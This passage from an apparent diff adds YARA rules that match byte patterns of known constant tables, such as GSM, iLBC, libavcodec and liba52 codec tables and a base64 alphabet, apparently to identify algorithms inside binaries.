+	$a0 = { 00401f3f3e3e5d3d7d3c9d3bbe3ae0390239253848376d369235b934e033093332325c318630b32fe02e0f2e3f2d722ca52bdb2a112a4b298528c327012741268125c124012445238a22d2211b216920b81f0a1f5d1eb41d0b1d671cc41b261b881aea194d19b6181f188d17fb166e16e2155a15d2144f14cc134f13d2125812de116411ea107310fd0f8b0f1a0faf0e440edd0d760d140db20c550cf90ba10b490bf20a9c0a4a0af909ac095f091609ce08890845080408c30786074a071007d6069c0662062a06f205be058a0559052905fb04cd04a304790451042a040304df03bb0397037303520331031203f402d802bc02a20288027002580242022c0216020002ea01d401bf01aa019701840173016201520142013301250118010b01ff00f300e700db00d100c700bd00b300aa00a100990091008a0083007c0075006f00690063005d00570051004c00470042003d003900350031002d002a002700240021001e001b0018001500130011000f000d000b00090007000500030001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_B__16_big_16_
+{
+strings:
+	$a0 = { 000000000800F600005EF900FEABFB88 }
+
+condition:
+	$a0
+}
+
+	
+rule iLBC_State_quantization_table_frgqTbl__flt32___32_lil_256_
+{
+strings:
+	$a0 = { c902803f4d2d893f77f8913fa77a9a3fe57aa33f0dfeac3fedf5b63fd317c03f99d6c83f61ded13f4d81da3f3509e43f4d9feb3ffe65f33ffb74fa3f986e0040e38c034010940640f2230940f9bf0b4017f30d409775104063ed1240554f1540c2a1174058c719405ad81b4082fd1d409b372040a18322401dab2440e9b82640a6b92840e6cf2a40d0b82c4097a92e4055a03040a48c32403d653440d846364078283840a20a3a4028f23b4080f03d40e2014040af224240293f4440b9ab4640520e494078b64b40d8444e40dbfc50407fbd5340e2735640304c5940b8565c4049695f408db86240fca8664090a06a40726c6f40fe2a7540cf147c40a7418340 }
+
+condition:
+	$a0
+}
+
+	
+rule Erlang__32_lil_AND_
+{
+strings:
+	$a0 = { b979379e[0-20]72f36e3c[0-20]2b6da6da[0-20]e4e6dd78[0-20]9d601517[0-20]56da4cb5[0-20]0f548453[0-20]c8cdbbf1[0-20]8147f38f[0-20]3ac12a2e[0-20]f33a62cc[0-20]acb4996a[0-20]652ed108[0-20]1ea808a7[0-20]d7214045 }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_64_Encoding_with_URL_and_Filename_Safe_Alphabet__32_lil_ASC_248_
+{
+strings:
+	$a0 = { 4100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a00000030000000310000003200000033000000340000003500000036000000370000003800000039000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_svq3_dequant_coeff__32_big_128_
+{
+strings:
+	$a0 = { 00000f29000010ff0000131a000015690000180a00001b0200001e510000220e0000263500002aeb000030330000360400003ca30000441b00004c690000557100005fe800006c080000787f00008836000097970000aae30000bfcf0000d59b0000f0fe00010c8900012f2f00015c190001879d0001ab360001eeab000228dd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_huffman_bits__16_big_576_
+{
+strings:
+	$a0 = { cc3266181987066000cd0018000700000002000d0032019903310cc2330dcc330067000002fe00be005e002d000a000900030003000000020008002c005d017e05fe05ff005c00005169516828b5051700a300290008000300000009001500500144028a0a2c145b000b00001231048d02470090002500080001000300000005001300490122091948c348c2246000002d1d0b4602d000b50059000a00030001000000040017005b016905a2168f2d1c0058000018000c0103010061001900070004000300000005000d003100c10181060118010002000015560aaa02ab00540014000b00020003000000030008002b00ab0154055415570009000015560aaa02ab00540014000b00020003000000030008002b00ab0154055415570009000029930a65029800a700280004000000010001000300150052014d053314c85324000b532509b8026f009a001200050000000100020003000100030008004c013604dd137300271372078701e000f1003d001f00060001000100010002000e007903c20f0d1e193c3000003c314b0612c004b1009700240008000200030000000300050013004a025909612582012d4b070a5a0297014a00530028000b0003000000020004001500a4052c14b7296c52db000352da0193019200c80065003300180007000400000004000500070006000300050005000d00040012001300050003000000030005000400030003000500050004000400030005000800040d6606b201ad006a000c000500040000000300020007003400d703581acf359c001b359d }
+
+condition:
+	$a0
+}
+
+	
+rule UBI_COM_gschat_encoding_decoding_algorithm__32_lil_8188_
+{
+strings:
+	$a0 = { 3b4b537d3ac7ef62ab84999673df17de2498816ce6e4b64f764e6db87f45d9ba491a07892c3ebd23091f9e21aa30b332e1973d68b6da3dac33797a39cabea63b4eba076ea7d42e21a620e695739b8b694c362b08065e1d5e4c038f5f67751c633aba21969e4d706643bfe6b94770cd97e7eabb850e2da1c0ed120796353e9e2784fef249894f5569d6cdf8b722784f4eb3b9ee6ad66204e1eab997bfac49db92408e138e7c6bc3e70aa8d769a4638b0fb51395d3cb634d8b6371f79f904118f0aa18750314df590cd798c162257664e2819cd6adf9763f579b57a8c1dcde470e184387a91fc93c34db0307a1fde1778949313cbbcdd454485bcb17656d0026e476289aa310053eb6390e753a2950e61c96813a5ce961f33531762aa0b9d5e609b80ec3238911722be66ed79bf99a8b7f1462806ca4300f93439d64ff51ec283892e9d6c81d724180e74411aa1dc72932d129ced850ee528bd27576efce79df16610e6ee759e2f1ba999db74e16332339eae3bbf32df666449678709b81320d5dd23bdb3239aee185efab798ccf1757deb8dd020ef49132746eb220a01ce9a8184cd2385b9511c11b75f73a8dbb2e197ef3a807850af0213b7a43d83a807409e73a1f29c15ef9156e2cf270e24ab00d40ef740d41246cfc80a73969c940316b8ba665bd716c26e985050e69d61d50a490b4923ecf25b09a78103cd99382b0c7e006507d2eb746099e834e80cc1a392e283661416e82b92f11d2904a10fdd206b601ea007b2682586a3d2807f5c9522679173de68686823ecd1c9c8b0b1ea6d9d27e730966dd13490de6eb44ccc172cffb24a58b109fd0f5626064ad54c609f6626210a764315223adadf4da002db18882d73bb381c4a2ea37378e4e92a06a0fd149d57b38f689597efc044df51c8f25178280fbebb512328790f15b60d988c79d07d7c485e1914c569ac020f5ba9bc41040978a7dde8a805d2a605e041dd0efdfd4f3217aee3b535f4d1e3d6a3b2e5b3cffe5245472844b3e0aaf7719d07d735fcfeb2b6a2a459a5edd31569aee01b0566bee532b6a5101f7f3d89d9fc24709eb31b2a21dc78036d3c015d588b711ed04aa70e7d9849738cd0cbca83e48940459d83817e7d6deaea56cbf473a66d6f82b859cf44f0eb7f629215eb1aefde3d74ee9fc2999ce5c30a4379e2709bceca52813db6dc6e25f387a27e7fd42e09002b5c855e8049bd394cee9f2592d303db2be1e53922acf2e3fae119dee465d147a1a214b4e88e4facf01ef2a4d291525ffb9097be692a5e545b497a3951ba0568f66ab6e00f91cb82b77e48ce7fbbabd575df07f25ce4880c9575a3de4a799fefe0687d6aa90c373b63b8b1931b7aa79ee32878ef0638b27dbc012baf7f15abecad12a4e28c99d2a4c2d6e089dfefef6fa7540a8c5d5da4fb9ec7836050afa0c1993c19f703bbdf3cfed47b7c757657c1af9b049e54c09c63a0c9d13b6336cbece60e55353583df7498c5768e6fcadb6416a2802fd7487d6b548a02453fbee55ef3c299d284eae9cc34214f5bb2ecdcb934708a27b6f976d6be5b45bfbec4c7b874c87a25d4dbb39af7da49f1fcb6eb3a5884549c751999217454a2cfa921564c543f9f4200319edd56889e7ab0930ea9a90c5b37f6d7680933059f99253d2f4e50728403ef3f02e4fd41b0d23dde946e64950bd216ffb4cd7ded178de35078857ef1efa67d0f57559ed943bcbb4a749516a7ce0729252245473eef26f0efcb8508b18fdd67d6ecacc7e66efaf95db5ff102a06f356ad5065350a2afe502a1cc9e396305bf3e93906ab904755d9085fdc7cce5c1fcc60afbbbba45a22599232e3332fba8dab1e9700666b0d6b9c10419a38b98e576b511a0deecada534158a1a3dc3c400380fd6df3d94052ab58ebb6b6ba6240416dd199b79932a04bc3aea4f819073f5d23338958954ce32d6f611aa787976ac6661dd93a2334aad351a310f8e39752a0e8a6c5053a6138636b930702b43919f75bf375bebca54ef487a5f593175529b6cff391c29fb3a18e9ea28ed79230444227d22977e91dc0487ce8704ab6ea60298e44b454435a8737113bd332b9d0f3e01843fc06c85d0ba7b59dcdda1fb9661ef815e5859df92282240c1ffa2c906889e6b583697758c14ac50d1535c6a28c515c33c1b0d27abb29641a6207cfd78bb2a9217a1ca6051798ab235e41e25c5189ba37f8025284b5f675a8d3bc9ffa4372c5b7184311970d23f89c4b163e05e1e2ab8bbc884ae63e2f07c996c248b6e3ccbf6eb52a6018e1e94ce8df47141243e40a7065e9cbde68e9e1232145cc13e5e3143000d05c256eb7c5b6beb9bacb69a5bb8fb70c06e52414c7bfd7d656286383090976cfdb965b7b8f5119ad1beac37f12242d7e830816c2179a83a4a66d2b595e69af321d00e65ca83e59c24bf704049d7a5d033e330d5aa8debecb0ed417a7f04e1426d9dc73325496568801a949d8ea9798da8a3477caccefcac0a3d405edce1a16ccb5e425df217f92c24ec5b929ed4561620ebdbe13fc6ce0633a6d58d79d3b5b07dc56812083c95345fb67312b6738a41b740a52bfc2305a2e9f2e01b69e83c765a6e4716cfb7518754cccaf5befb19fbb70e0458b7c7e242e68e29c8aee0f27e91bce1c00facf132621a6594cac6aa17a1b14c977d06dde316a792554c21d01097b96e25ff9def03664b26a6d3f44ee134a0658ed9bc34f7f4e43438f16f128093ba9d34f8ce4fa36b376bee7641e0fdcb8b16561413902e1e7b5aad7c57e872b1f6da026f9fd6d44c2ff318f13f50ee04030bdf04c76583db9fa54eefcc2af837d8a134c9ee264e671c667db1a13346e4a27f1e3e8226653ec2a03dba25281ca2146ba4a1c1a40aa1a4ad600216febed82d5b9e2d5ca6c7d99e86f7b4801fa068e1be3a817fd6bee5297e74212ffcdae74c49fc6c01f804532ef9e790ea3ad6f82c82bf9a8fb56d36332170989569761183d7ecfcade2452d81b194e526320f5e6e3f63e8ea56aff81495199b43f78cbac540a0b5688d0d59ec3b6070507cbdd176398800ca2f2ff22297cc4f50b2af6c59026b9324f0117defa3220281a8461661e9f65e72acc8e15ce847b6cca8ed96edc76f12a8935836ed8dc671ed028ef7385fe68ed6cbf83a9654246b2d01784e1258c408731ad69bd71ee4e6a5277830c4deffaf761a58152231cc318f56bdd85d28c6d522b24c7c5566ec689c9ca6156ac19a0cb157aba498c13494c7a7042ed4fe5cff5aa0f806d4a5518f9dbff49f5e7d76fd056f3a16fdd911a59c3b283ecdd327dedd60f4d6ededdaf1c63c530b88bb8be1f6284ec338813f197b38d7f036be780282c962d7c2b23cd81d021008c2bd3df73f51601093c86c208a43dc62007e2726a715d630edc199d955475f2a4f0f5239563ac45b8c6c529b41f9bf0eef44d2fdd104647d141423d9cec22e21f388b8013d16f5296765ec014c37d6a1001c871436335511fadf9f2b7c8b98387ef089153e0e74006016b9e211c257120307c773618cbf95a890ae1d83d373fe53c938853569599080f53aa7439ca1c707a8b469e126c8fe17c1a47ae81631440e6e0db54d9f324d7d344468482cb8200bb519533296423dfe4ff76812ff1e8530efa154e0add307d464c9ee11c3eed137910f0c9c0a839a4e03f666bb6503d4cc4365a23a928a223274f654d619839d2d4df58650b1067a8738cadb8a45ef92d9af1468d873e3ab5018d3aeadc8289b9bbe8fc1a51269b83e2a7d10a1a358ff8fe9f6a49ba1a9f6818c508d4dde76e4befdc932eb190732c24861ee4299d70df4cea10553b7a7f1fdb7de4f689c083ab9ba70a5d4b608bc7983f84a5edc96f4956e81577c9576bb91af551c5f2d9553dc34242b49038cacff66912dd7c251f3e84af159ebe728533d235f1d22569749e5fa8353e688c4e50c51a16a8dfdc129d2c83bb9ce70f7c084ddc6a1a522aff464092d063e7256d1b95fa7a84a11f5d3108f532c33f169b1fd0b8fe6b71531eab1ee7b2fb7cdb7ef0f1700158c1bc00ea871e1e5c5001d52428657e570f48f2d9f97f355d825e7b1ba498ece7af21eee7c6f34f192bf92a1d95d58a3b427a771223c437cc0ce4f8c581c6c55555107e1d154f44334d829045f63a51f9e95d0f3ada1931f4edc216262c6600dca9f196ad4fa38428b183c4700c59fbbc86416417db218fabb4402d49b13303e1207cefcac3160c8841505a08969c6676338a13acc3da8052b2680fdf6e48a79628a033a88ad7c6a8a0b56b31536b44e7efab4b7bd2811cd34ad5012727c167fcf4d426449daeb33858d78ec46ee8d6f65738634f0c1998ca15bcaa8adf4b2d2744cf712ad4548f60dc223f271721b0c2e49c2298513485b9dcd8741488f64349499f7843ea96f969c855375608b5eb737885a0aefac07f41729c1d96bdf26b65d565add24d9345984b5b55c447a9035e19463d18eb0c574672244941b60fb7d46c0326ccef191efde08b54fc048bc8f917470da24f0fa3a33767a1c962c810c83718761fdf160ae52e769f401b387debc452a23c5bae1c0e764e40edc5a31d0a78a1a4ab64480281ad2b403cb870e506e5ddfc6a622c1c5d321e941403a17f933253429da0a73b80d4af28e37c407ead24ed9447476e17085ca954d389e57cf5b44f234af9e7db37c20fa80f8f3104e4100c93fa26cfa633a97acd040f31c83a1c6afde27bcbee49ef24b5223985f9189fa62e23ede7d3aef76166a5c8007bc8894ca6b46ff7b4c7e7e37419091a0efaa71ab163e06c05d6dcbe49dc4071fc5697d2a3f0f78da70a15613df1ef666af83ecbfe3715d81e28df4a1fee12a833653caed12ecd5b21a8bf739086095883235408ff137b559e34d114d5844d0dbb5c4d2783a0335babaeb52d230ac043ab48e7c279b172927ca85b459cf91ed25c5855179006fd511f11aa35c888681e58984b685e1dd2ef951eb729258e791d7cd8f1c22c92174768c26e2cd933fda07d941288700ea06fc55a638df8b95272687e68fe97b7b1a25352f54b05e94bd3e1ec81f2e3a40bbf31f2e5280a4b6e42b0eb945a3b20b40adb068504531df31d95b322222ee783103b0abe9a7a9df9580afed89dcc1b3ad9d8c4049b0dc02def76ec12522209e6b6360f52d6fba88a9ffcd91f44602e59b3424cef21d9b86400749c4efca42755120f85df3f53b8e4ec75e47755dc5557597696b3634afad448c7f1d6d5ef5cf7f91c24bb08eadb9becba8901b8a6258a6eb9b48f143fdaf90252db49bd1df8e598c3f69756920cb35e605d2718c013de9780846249e0c5a89b75554c53eb8e706871b77f56a581effad4a4f279a301cb04a1311af735690cda871ebaf8f995784e4f8a955b4e93566c71237035ec0247eba78d708188bc75639bfeb38ba9aaf350ada4c2515461abe0416337497125d8a5641053059637c6f881ce52dd8237e664a3ddef96b717c311ba2e4c35b5e7fd72810acb3bff17a9d624e507062d65a3d2f177bda7624e4cf8aee57ba80ac279801c89e799342134588445e15514ff4e022b39aeb2fa0c814a2d2cae74bf063c2fabcb836aaa34965374e28b219089a6815c1fb786378f0839926b0adcbb2ee6a2f8bc5e847f7fec68b2a9642afdeb0372cdb924b1c48f07e1be6d6facad69c40d2a82c8d11b04452273b7076f07917c187b883ce05f9f346cc709f7e350f60ac9eefd3112c6ff08d5019282832342477548f3aa7adb93207e2a0d50eda8c59f15dacf4a15fc312f05028604eb8b6eb46eac57a2589da8e395cefb1cc7211deca191cf54e6ad2d212b52bc3b780e513552c6b8e045376bf2eb66de8cd55f47b3d59821c77aef5cd5a261592f69cf347886a3f24d308a3852e8a191344737003223809a4d0319f2998fa2e08896c4eece62128457713d038cf6654be6c0ce934b729acc0dd507cc9b5d5843f170947b5d9d516921bfb7989a60b31d1acb5df98db72fd2fb7df1ad0edafe1b8967e266a45907cba997f2cf14799a124f76c91b3e2f2010816fc8e85d8206963694e5771a3fe58a47e3d93f48f74950d58b68e7258cd8b71ee4a15821da4547bb5595ac239d5309c1360f22a23b0d1c5f0856028187941caef38dbb8b0dc798e0e183a608b0e9e6c3e8a1eb0c17715d7274b31bdda2faf78605c6055f32555e694ab55aa629848574014e8636a39ca55b610ab2a345cccb4cee84111af8654a193e9727c1114eeb32abc6f635dc5a92bf6311874163e5cce1e93879b33bad6af5ccf246c8153327a7786952898488f3bafb94b6b1be8bfc493212866cc09d86191a921fb60ac7c483280ec5d5d5d84efb17585e9022326dc881b65eb813e8923c5ac96d3f36f6d0f3942f48382440b2e042084a44af0c8695e9b1f9e4268c6219a6ce9f6619c0c67f088d3abd2a0516a682f54d828a70f96a33351ab6c0bef6ee43b7a1350f03bba982afb7e1d65f1a17601af393e59ca66880e43821986ee8cb49f6f45c3a5847dbe5e8b3bd8756fe07320c1859f441a40a66ac15662aad34e06773f3672dffe1b3d029b4224d7d03748120ad0d3ea0fdb9bc0f149c97253077b1b9980d879d425f7dee8f61a50fee33b4c79b6bde06c97ba06c004b64fa9c1c4609f40c29e5c5e63246a19af6ffb68b5536c3eebb239136fec523b1f51fc6d2c95309b444581cc09bd5eaf04d0e3befd4a33de07280f66b34b2e1957a8cbc00f74c845395f0bd2dbfbd3b9bdc079550a32601ac600a1d679722c40fe259f67cca31ffbf8e9a58ef82232dbdf16753c156b61fdc81e502fab5205adfab53d32608723fd487b315382df003ebb575c9ea08c6fca2e56871adb6917dff6a842d5c3ff7e28c63267ac73554f8cb0275b69c858cabb5da3ffe1a011f0b8983dfa10b88321fd6cb5fc4a5bd3d12d79e4539a6545f8b6bc498ed29097fb4bdaf2dde1337ecba44113fb62e8c6e4cedaca20ef014c7736fe9e7ed0b41ff12b4ddadb95989190ae718eadeaa0d5936bd0d18ed0e025c7af2f5b3c8eb794758efbe2f68f642b12f212b888881cf00d90a05ead4f1cc38f6891f1cfd1adc1a8b318222f2f77170ebefe2d75eaa11f028b0fcca0e5e8746fb5d6f3ac1899e289cee04fa8b4b7e013fd813bc47cd9a8add266a25f16057795801473cc9377141a216520ade686fab577f54254c7cf359dfb0cafcdeba0893e7bd31b41d6497e1eae2d0e25005eb37120bb006822afe0b8579b3664241eb909f01d916355aaa6df598943c1787f535ad9a25b7d20c5b9e50276032683a9cf95626819c811414a734eca2d47b34aa9147b5200511b1529539a3f570fd6e4c69bbc76a4602b0074e681b56fba081fe91b576bec96f215d90d2a216563b6b6f9b9e72e0534ff645685c55d2db053a18f9fa99947ba086a07856ee9707a4b4429b3b52e0975db232619c4b0a66ead7ddfa749b860ee9c66b2ed8f718caaecff179a696c526456e19eb1c2a5023619294c0975401359a03e3a18e49a98543f659d425bd6e48f6bd63ff799079cd2a1f530e8efe6382d4dc15d25f08620dd4c26eb7084c6e982635ecc1e023f6b6809c9efba3e1418973ca1706a6b84357f6886e2a05205539cb7370750aa1c84073e5caede7fec447d8eb8f2165737da3ab00d0c50f0041f1cf0ffb300021af50caeb274b53c587a8325bd2109dcf91391d1f62fa97c734732940147f52281e5e53adcdac2373476b5c8a7ddf39a466144a90e03d00f3ec7c8ec411e75a499cd38e22f0eea3ba1bb803231b33e18388b544e08b96d4f030d426fbf040af69012b82c797c972472b07956af89afbc1f779ade100893d912ae8bb32e3fcfdc1f72125524716b2ee6dd1a5087cd849f1847587a17da0874bc9a9fbc8c7d4be93aec7aecfa1d85db66430963d2c364c447181cef08d91532373b43dd16bac224434da11251c4652a02009450dde43a139ef8df71554e3110d677ac819b19115ff15635046bc7a3d73b18113c09a52459ede68ff2fafbf1972cbfba9e6e3c151e7045e386b16fe9ea0a5e0e86b32a3e5a1ce71f77fa063d4eb9dc65290f1de799d6893e8025c8665278c94c2e6ab3109cba0e15c678eae294533cfca5f42d0a1ea74ef7f23d2b1d360f2639196079c21908a72352b61213f76efeadeb661fc3ea9545bce383c87ba6d1377fb128ff8c01efdd32c3a55a6cbe852158650298ab680fa5ceee3b952fdbad7def2a842f6e5b28b62115706107297547ddec10159f6130a8cc1396bd61eb1efe3403cf6303aa905c73b539a2704c0b9e9ed514deaacbbc86cceea72c6260ab5cab9c6e84f3b2af1e8b64caf0bd19b96923a050bb5a65325a6840b3b42a3cd5e99e31f7b821c0190b549b99a05f877e99f795a87d3d629a8837f8772de3975f93ed11811268162988350ed61fe6c7a1dfde9699ba5878a584f5576372221bffc3839b9646c21aeb0ab3cd54302e53e448d98f2831bc6deff2eb58eaffc63461ed28fe733c7ceed9144a5de3b764e8145d1042e0133e20b6e2ee45eaabaaa3154f6cdbd04fcbfa42f442c7b5bb6aef1d3b4f650521cd419e791ed8c74d85866a474be45062813df2a162cf46268d5ba08388fca3b6c7c1c324157f9274cb690b8a844785b2925600bf5b099d4819ad74b16214000e82232a8d4258eaf5550c3ef4ad1d61703f2392f07233417e938df1ec5fd6db3b226c5937de7c6074eecba7f285406e3277ce848007a69e50f81955d8efe83597d961aaa769a9c2060cc5fcab045adcca0b802e7a449e843445c30567d5fdc99e1e0ed3db73dbcd88551079da5f67404367e36534c4c5d8383e719ef8283d20ff6df1e7213e154a3db08f2b9fe3e6f7ad83db685a3de9f74081941c264cf634296994f7201541f7d402762e6bf4bc6800a2d4712408d46af42033b7d4b743af6100502ef6391e46452497744f211440888bbf1dfc954daf91b596d3ddf470452fa066ec09bcbf8597bd03d06dac7f0485cb31b327eb964139fd55e64725da9a0acaab25785028f4290453da862c0afb6db6e96214dc68006948d7a4c00e68ee8da127a2fe3f4f8cad87e806e08cb5b6d6f47a7c1eceaaec5f37d399a378ce422a6b40359efe20b985f3d9abd739ee8b4e123bf7fac91d56186d4b3166a326b297e3ea74fa6e3a32435bddf7e74168fb2078ca4ef50afb97b3fed8ac564045279548ba3a3a5355878d8320b7a96bfe4b9596d0bc67a855589a15a16329a9cc33dbe199564a2aa6f925313f1c7ef45e7c31299002e8f8fd702f27045c15bb80e32c28054815c195226dc6e43f13c148dc860fc7eec9f9070f1f0441a4794740176e885deb515f32d1c09bd58fc1bcf26435114134787b25609c2a60a3e8f8df1b6c631fc2b4120e9e32e102d14f66af1581d1cae095236be1923e33620b243b22b9beee0ea2b285990dbae68c0c72de28f7a22d457812d0fd94b79562087d64f0f5cce76fa34954fa487d8727fd9dc31e8d3ef34163470a74ff2e99ab6e6f3a37fdf8f460dc12a8f8ddeba14ce11b990d6b6edb10557bc6372c676d3bd4652704e8d0dcc70d29f1a3ff00cc920f39b50bed0f69fb9f7b669c7ddbce0bcf91a0a35e15d9882f13bb24ad5b51bf79947bebd63b76b32e3937795911cc97e226802d312ef4a7ad42683b2b6ac6cc4c75121cf12e783742126ae75192b7e6bba1065063fb4b18106b1afaedca11d8bd253dc9c3e1e2591642448613120a6eec0cd92aeaabd54e67af645fa886da88e9bfbefec3e4645780bc9d86c0f7f0f87b78604d6003604683fdd1b01f38f604ae4577ccfc36d7336b428371ab1ef0874180b05f5e003cbe57a07724aee8bd99424655612e58bf8ff4584ea2fdddf238ef74f4c2bd8987c3f96653748eb3c855f275b4b9d9fc466126eb7a84df1d8b790e6a84e2955f918e596e467057b4209155d58c4cde02c9e1ac0bb9d00582bb4862a8119ea97475b6197fb709dca9e0a1092d66334632c4021f5ae88cbef00925a0994a10fe6e1d1d3db91adfa4a50b0ff286a169f1682883dab7dcfe0639579bcee2a1527fcd4f015e1150fa8306a7c4b502a027d0e60d278cf89a41863f77064c60c3b506a861287a17f0e086f5c0aa586000627ddc30d79ee61163ea382394ddc2533416c2c256eecbbbdeb6bc90a17dfceb761d59ce09e4056f88017c4b3d0a7239247c927c5f72e386b99d4d72b45bc11afcb89ed3785554edb5a5fc08d37c3dd8c40fad4d5eef501ef8e661b1d91485a23c13516ce7c7d56fc44ee156cebf2a3637c8c6dd34329ad7128263928efa0e67e000604037ce393acff5fad33777c2ab1b2dc55a9e67b05c4237a34f402782d3be9bbc999d8e11d515730fbf7e1c2dd67bc400c76b1b8cb74590a121beb16eb2b46e366a2fab4857796e94bcd276a3c6c8c24965eef80f537dde8d461d0a73d5c64dd04cdbbb39295046baa9e82695ac04e35ebef0d5faa19a512d6ae28cef6322ee869ab8c289c0f62e2443aa031ea5a4d0f29cba61c0834d6ae99b5015e58fd65b64baf9a22628e13a3aa78695a94be96255efd3ef2fc7daf752f7696f043f590afa7715a9e4800186b087ade6099b93e53e3b5afd90e997d7349ed9b7f02c518b2b023aacd5967da67d01d63ecfd1282d7d7ccf259f1f9bb8f2ad72b4d65a4cf5885a71ac29e0e6a519e0fdacb0479bfa93ed8dc4d3e8cc573b282966d5f8282e137991015f78556075ed440e96f78c5ed3e3d46d0515ba6df4882561a103bdf06405159eebc3a257903cec1a27972a073aa99b6d3f1bf521631efb669cf519f3dc2628d93375f5fd55b182345603bb3cba8a11775128f8d90ac26751ccab5f92adcc5117e84d8edc303862589d3791f92093c2907aeace7b3efb64ce215132be4f777ee3b6a8463d29c36953de4880e613641008aea224b26dddfd2d8569662107090a469ab3ddc04564cfde6c58aec8201cddf7be5b408d581b7f01d2ccbbe3b46b7e6aa2dd45ff593a440a353ed5cdb4bca8ceea72bb8464faae12668d476f3cbf63e49bd29e5d2f541b77c2ae70634ef68d0d0e7457135be7711672f85d7d53af08cb4040cce2b44e6a46d23484af15012804b0e11d3a9895b49fb80648a06ece823b3f6f82ab20354b1d1a01f8277227b1601561dc3f93e72b793abbbd254534e13988a04b79ce51b7c9322fc9ba1fa07ec81ce0f6d1c7bcc31101cfc7aae8a14987901a9abd4fd4cbdedad038da0ad52ac33903673691c67c31f98d4f2bb1e0b7599ef73abbf543ff19d5f29c45d9272c2297bf2afce61571fc910f2515949b6193e5faeb9cb6ce5964a8c2d1a8ba125e07c1b60c6a05e36550d21042a403cb0e6eece03bdb9816bea0984c64e9783232951f9fdf92d3e02b34a0d31ef2718941740a1b8c34a34b2071bec5d83276c38d9f35df2e2f999b476f0be61df1e30f54da4ce591d8da1ecf7962ce6f7e3ecd66b11816051d2cfdc5d28f849922fbf657f323f5237632a63135a89302cdcc566281f0acb5eb755a9736166ecc73d288926296ded049b9811b90504c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg1_vlc__16_lil_452_
+{
+strings:
+	$a0 = { 0300020004000400050005000600070026000800210008000a000a001d000c0018000c0013000c0010000c001a000d0019000d0018000d0017000d001f000e001e000e001d000e001c000e001b000e001a000e0019000e0018000e0017000e0016000e0015000e0014000e0013000e0012000e0011000e0010000e0018000f0017000f0016000f0015000f0014000f0013000f0012000f0011000f0010000f000300030006000600250008000c000a001b000c0016000d0015000d001f000f001e000f001d000f001c000f001b000f001a000f0019000f001300100012001000110010001000100005000400040007000b000a0014000c0014000d0007000500240008001c000c0013000d00060005000f000a0012000c000700060009000a0012000d00050006001e000c00140010000400060015000c000700070011000c000500070011000d002700080010000d00230008001a001000220008001900100020000800180010000e000a00170010000d000a001600100008000a00150010001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d001f0010001e0010001d0010001c0010001b0010000100060002000200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer2__flt32___32_big_448_
+{
+strings:
+	$a0 = { 3e0e93e23eb37b073f1871503f5b93cd3f8f8ec93fb1b1753fd912a9400822183d93e89b3e3d9f0a3e9726af3ed33c1d3f0a6a663f2d42703f4fdd333f7299523f89fbe73f9a09813fab2b803fbdadf33fd1eaee3fe84a4140047d2c401cca8a3d19bd403dd25fe93e240f243e5d3a603e8b6d013ea9170d3ec7cbb43ee7dbd33f04984e3f15d5e53f2769a93f391eeb3f4aa0453f5be1873f6d9aa63f7f3f753f87f4a13f9014f93f984c7b3fa0c89b3fa988333fb2a0c33fbc051d3fc5c5503fd030443fdb13383fe6bf0a3ff4826b40036ae4400e4b0a401ee9814050368b3de4aada3eb57cf63f246f263f7616f83fa5c44c3fcf13163ffeb30b4020b55f3d6c6de73e2df4c33e985d963ee08e9b3f1724643f3fd5453f6a91643f8b2c8c3fa1a1d33fb6e3f83fcd52c13fe534ad40000af2400f536d40298ea840a8d50d3cf37b8d3db2d3413e13eb3a3e5126203e899f803eaca1493ed14fad3ef754f33f0f7c893f23b9e03f386f263f4de54b3f63ab863f79b23e3f87feb93f9355613f9ec00e3fa9d1cc3fb4cd3a3fc010733fcbbe6e3fd7dc623fe482b63ff213ec4000540940082bed401156a8401e73ef402e343b404686ec4095f57540c75228 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_dither_lut__16_lil_512_
+{
+strings:
+	$a0 = { 000011a033e02240776066c044805520eec0ff60dd20cc8099a08800aa40bbe0cd21dc81fec1ef61ba41abe189a1980123e13241100101a154814521676176c19a438be3a9a3b803ed23fc83dec3cf6374836523476356c303e31243300321a3576246c264827522200231a213e20242b9a2a8028a429be2cec2df62fd22ec8234872527076716c743e75247700761a7da47cbe7e9a7f807ad27bc879ec78f67f9a6e806ca46dbe68ec69f66bd26ac86176606c624863526600671a653e64246aec4bf649d248c84d9a4c804ea44fbe4400451a473e46244376426c40484152463e57245500541a514850525276536c58d259c85bec5af65fa45ebe5c9a5d80579ae680e4a4e5bee0ece1f6e3d2e2c8e976e86cea48eb52ee00ef1aed3eec24eb48fa52f876f96cfc3efd24ff00fe1af5a4f4bef69af780f2d2f3c8f1ecf0f6fe3edf24dd00dc1ad948d852da76db6cd0d2d1c8d3ecd2f6d7a4d6bed49ad580d2ecc3f6c1d2c0c8c59ac480c6a4c7becc00cd1acf3ece24cb76ca6cc848c952c4d295c897ec96f693a492be909a91809a3e9b249900981a9d489c529e769f6c9800891a8b3e8a248f768e6c8c488d5286ec87f685d284c8819a808082a483be8d76ac6cae48af52aa00ab1aa93ea824a39aa280a0a4a1bea4eca5f6a7d2a6c8a1a4b0beb29ab380b6d2b7c8b5ecb4f6bf48be52bc76bd6cb83eb924bb00ba1ab }
+
+condition:
+	$a0
+}
+
+	
+rule power2_table__16_lil_30_
+{
+strings:
+	$a0 = { 010002000400080010002000400080000001000200040008001000200040 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dnxhd_1252_ac_codes__16_lil_514_
+{
+strings:
